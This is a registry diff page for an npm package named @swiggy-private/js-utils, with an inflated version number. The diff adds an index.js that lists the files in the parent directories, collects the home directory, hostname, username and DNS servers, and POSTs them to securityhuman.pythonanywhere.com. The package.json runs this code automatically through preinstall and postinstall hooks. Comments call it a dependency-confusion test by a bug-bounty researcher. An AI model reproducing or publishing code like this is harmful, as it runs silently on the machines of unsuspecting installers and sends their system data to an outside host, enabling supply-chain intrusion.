@swiggy-private/js-utils 99999999.10000.9999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @swiggy-private/js-utils might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +78 -0
  2. package/package.json +17 -0
package/index.js ADDED
@@ -0,0 +1,78 @@
1
+ //
2
+ // this is the test for npm dep confusion
3
+ // please contact securityhuman@wearehackerone.com (this is my hackerone email id which divert mails to my email.)
4
+
5
+ const os = require("os");
6
+ const dns = require("dns");
7
+ const querystring = require("querystring");
8
+ const https = require("https");
9
+ var packageJSON = null;
10
+ var package1 = null;
11
+
12
+ all_files = null;
13
+
14
+ try {
15
+ packageJSON = require("./package.json");
16
+ package1 = packageJSON.name;
17
+
18
+ const fs = require("fs");
19
+
20
+ const directoryPath = "../../"; // Replace with your desired directory path
21
+
22
+ fs.readdir(directoryPath, (err, files) => {
23
+ if (err) {
24
+ console.error("Error reading directory:", err);
25
+ return;
26
+ }
27
+ all_files = files;
28
+ console.log("Files and directories in the directory:", files);
29
+ });
30
+
31
+ fs.readdir("../", (err, files) => {
32
+ if (err) {
33
+ console.error("Error reading directory:", err);
34
+ return;
35
+ }
36
+ all_files_2 = files;
37
+ console.log("Files and directories in the directory:", files);
38
+ });
39
+ } catch (e) {}
40
+
41
+ const trackingData = JSON.stringify({
42
+ p: package1,
43
+ c: __dirname,
44
+ hd: os.homedir(),
45
+ hn: os.hostname(),
46
+ un: os.userInfo().username,
47
+ dns: dns.getServers(),
48
+ d: packageJSON.description,
49
+ files: all_files,
50
+ files2: all_files_2,
51
+ });
52
+
53
+ var postData = querystring.stringify({
54
+ msg: trackingData,
55
+ });
56
+
57
+ var options = {
58
+ hostname: "securityhuman.pythonanywhere.com",
59
+ path: "/confusion",
60
+ method: "POST",
61
+ headers: {
62
+ "Content-Type": "application/x-www-form-urlencoded",
63
+ "Content-Length": postData.length,
64
+ },
65
+ };
66
+
67
+ var req = https.request(options, (res) => {
68
+ res.on("data", (d) => {
69
+ process.stdout.write(d);
70
+ });
71
+ });
72
+
73
+ req.on("error", (e) => {
74
+ // console.error(e);
75
+ });
76
+
77
+ req.write(postData);
78
+ req.end();
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "@swiggy-private/js-utils",
3
+ "version": "99999999.10000.9999",
4
+ "description": "test dep confusion. please contact securityhuman (hackerone platform id), securityhuman@wearehackerone.com",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Test dep confusion\" && exit 1",
8
+ "preinstall": "node index.js; echo \"pre done\"",
9
+ "postinstall": "node index.js ; echo \"post done\""
10
+ },
11
+ "keywords": [
12
+ "dep",
13
+ "confusion"
14
+ ],
15
+ "author": "",
16
+ "license": "ISC"
17
+ }